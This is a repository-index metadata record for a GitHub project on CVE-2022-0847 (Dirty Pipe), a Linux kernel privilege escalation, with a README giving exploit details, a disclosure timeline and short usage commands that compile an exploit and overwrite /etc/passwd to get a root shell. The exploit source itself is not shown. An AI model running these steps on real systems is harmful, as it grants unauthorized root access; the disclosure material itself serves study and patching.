{"id":21616687,"url":"https://github.com/al1ex/cve-2022-0847","last_synced_at":"2025-04-11T07:33:52.983Z","repository":{"id":62871477,"uuid":"467753881","full_name":"Al1ex/CVE-2022-0847","owner":"Al1ex","description":"CVE-2022-0847","archived":false,"fork":false,"pushed_at":"2022-03-09T02:47:32.000Z","size":246,"stargazers_count":78,"open_issues_count":0,"forks_count":16,"subscribers_count":5,"default_branch":"main","last_synced_at":"2025-03-25T05:08:12.492Z","etag":null,"topics":["cve-2022-0847"],"latest_commit_sha":null,"homepage":"","language":"C","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Al1ex.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2022-03-09T02:47:08.000Z","updated_at":"2025-01-22T23:29:14.000Z","dependencies_parsed_at":"2022-11-08T07:30:38.199Z","dependency_job_id":null,"html_url":"https://github.com/Al1ex/CVE-2022-0847","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Al1ex%2FCVE-2022-0847","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Al1ex%2FCVE-2022-0847/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Al1ex%2FCVE-2022-0847/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Al1ex%2FCVE-2022-0847/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Al1ex","download_url":"https://codeload.github.com/Al1ex/CVE-2022-0847/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":248358873,"owners_count":21090447,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cve-2022-0847"],"created_at":"2024-11-24T22:15:02.927Z","updated_at":"2025-04-11T07:33:52.939Z","avatar_url":"https://github.com/Al1ex.png","language":"C","funding_links":[],"categories":[],"sub_categories":[],"readme":"### Information\r\n\r\n```c\r\nExploit Title: Local Privilege Escalation in Linux kernel (CVE-2022-0847)\r\nDate: 03/07/2022\r\nExploit Author: Max Kellermann \u003cmax.kellermann@ionos.com\u003e\r\nTested on: ubuntu 20.04.1 LTS\r\nAffect product:Linux kernel 5.8 or later\r\nFixed Product:Linux kernel 5.16.11, 5.15.25, 5.10.102\r\nCVE ID: CVE-2022-0847\r\n```\r\n\r\n### How to Exploit\r\n\r\nTest Environment：\r\n\r\n![env](img/env.png)\r\n\r\nLocal Privilege Escalation\r\n\r\n```\r\ncp /etc/passwd /tmp/passwd.bak\r\ngcc exp.c -o exp\r\n./exp /etc/passwd 1 ootz:\r\nsu rootz\r\nid\r\n```\r\n\r\n![exp](img/exp.png)\r\n\r\n### Reference\r\n\r\nhttps://dirtypipe.cm4all.com/\r\n\r\n### Timeline\r\n\r\n- 2021-04-29: first support ticket about file corruption\r\n- 2022-02-19: file corruption problem identified as Linux kernel bug, which turned out to be an exploitable vulnerability\r\n- 2022-02-20: bug report, exploit and patch sent to the [Linux kernel security team](https://www.kernel.org/doc/html/latest/admin-guide/security-bugs.html)\r\n- 2022-02-21: bug reproduced on Google Pixel 6; bug report sent to the Android Security Team\r\n- 2022-02-21: [patch sent to LKML (without vulnerability details)](https://lore.kernel.org/lkml/20220221100313.1504449-1-max.kellermann@ionos.com/) as suggested by Linus Torvalds, Willy Tarreau and Al Viro\r\n- 2022-02-23: Linux stable releases with my bug fix ([5.16.11](https://lore.kernel.org/stable/1645618039140207@kroah.com/), [5.15.25](https://lore.kernel.org/stable/164561803311588@kroah.com/), [5.10.102](https://lore.kernel.org/stable/164561802556115@kroah.com/))\r\n- 2022-02-24: [Google merges my bug fix into the Android kernel](https://android-review.googlesource.com/c/kernel/common/+/1998671)\r\n- 2022-02-28: notified the [linux-distros](https://oss-security.openwall.org/wiki/mailing-lists/distros#how-to-use-the-lists) mailing list\r\n- 2022-03-07: public disclosure\r\n\r\n\r\n\r\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fal1ex%2Fcve-2022-0847","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fal1ex%2Fcve-2022-0847","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fal1ex%2Fcve-2022-0847/lists"}